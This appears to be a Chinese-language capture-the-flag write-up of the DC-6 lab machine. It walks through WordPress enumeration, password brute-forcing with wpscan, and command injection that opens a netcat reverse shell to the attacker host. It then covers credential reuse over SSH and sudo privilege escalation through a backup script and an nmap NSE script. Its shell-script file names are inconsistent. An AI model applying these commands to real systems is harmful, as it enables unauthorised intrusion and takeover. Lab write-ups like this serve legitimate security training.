DC-6

nmap 扫描一下

image.png

vim /etc/hosts
加上 192.168.149.164 wordy

image.png

访问 80 端口，是一个 wordpress

image.png

wpscan 扫描一下，发现几个用户名
wpscan --url http://wordy -ru

image.png

根据作者善意提醒，制作一份密码字典

image.png

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

把扫描出来的用户名也保存出来，爆破一下

wpscan --url http://wordy -U users.txt -P passwords.txt

image.png

后台的一个工具里面有个功能，有命令执行漏洞

image.png

burp 抓一下包，看一下

image.png

nc 来拿一个 shell 把，kali 里面 nc -lp 6666

image.png

访问的时候加上
; nc 192.168.149.141 6666 -e /bin/sh

image.png

python -c “import pty;pty.spawn(‘/bin/bash’)” 开启一个交互 shell

在 mark 的目录下找到了一个用户名和密码 graham : GSo7isUM1D4

image.png

这个账户可以直接 ssh 登进来 ssh graham@192.168.149.164
登陆以后，sudo -l 发现一个不需要密码就可以用的

image.png

在后面追加一个 /bin/bash，这样运行的时候就能拿到 jens 的 shell 了

echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

image.png

这次是 nmap，可以写个脚本，让 nmap 来执行然后拿到 shell

image.png

echo 'os.execute("/bin/sh")' > shell.nse
sudo nmap --script getroot.nse

image.png